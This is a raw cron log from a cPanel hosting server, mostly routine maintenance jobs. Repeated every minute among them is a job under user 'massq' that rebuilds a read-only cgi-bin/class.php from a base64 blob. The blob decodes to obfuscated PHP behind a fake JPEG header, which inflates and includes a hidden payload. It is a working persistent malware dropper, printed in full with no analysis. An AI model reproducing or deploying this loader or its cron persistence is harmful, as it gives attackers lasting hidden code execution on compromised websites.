Sep  1 14:24:01 server CROND[21683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:24:01 server CROND[21685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:25:01 server CROND[22083]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:25:01 server CROND[22085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:25:01 server CROND[22089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:25:01 server CROND[22091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:25:01 server CROND[22093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:25:01 server CROND[22092]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 14:25:01 server CROND[22094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:25:01 server CROND[22096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:26:01 server CROND[23125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:26:01 server CROND[23126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:26:01 server CROND[23127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:27:01 server CROND[23496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:27:01 server CROND[23497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:27:01 server CROND[23498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:27:01 server CROND[23499]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 14:28:01 server CROND[23866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:28:01 server CROND[23867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:28:01 server CROND[23868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:29:01 server CROND[24347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:29:01 server CROND[24348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:29:01 server CROND[24356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:30:01 server CROND[24797]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:30:01 server CROND[24798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:30:01 server CROND[24801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:30:01 server CROND[24802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:30:01 server CROND[24805]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:30:01 server CROND[24806]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:30:01 server CROND[24804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:30:01 server CROND[24803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:31:01 server CROND[25643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:31:01 server CROND[25644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:31:01 server CROND[25645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:32:01 server CROND[26069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:32:01 server CROND[26070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:32:01 server CROND[26071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:33:01 server CROND[26452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:33:01 server CROND[26453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:33:01 server CROND[26454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:34:01 server CROND[27019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:34:01 server CROND[27020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:34:01 server CROND[27021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:35:01 server CROND[27422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:35:01 server CROND[27423]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 14:35:01 server CROND[27426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:35:01 server CROND[27446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:35:01 server CROND[27447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:35:01 server CROND[27448]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 14:35:01 server CROND[27454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
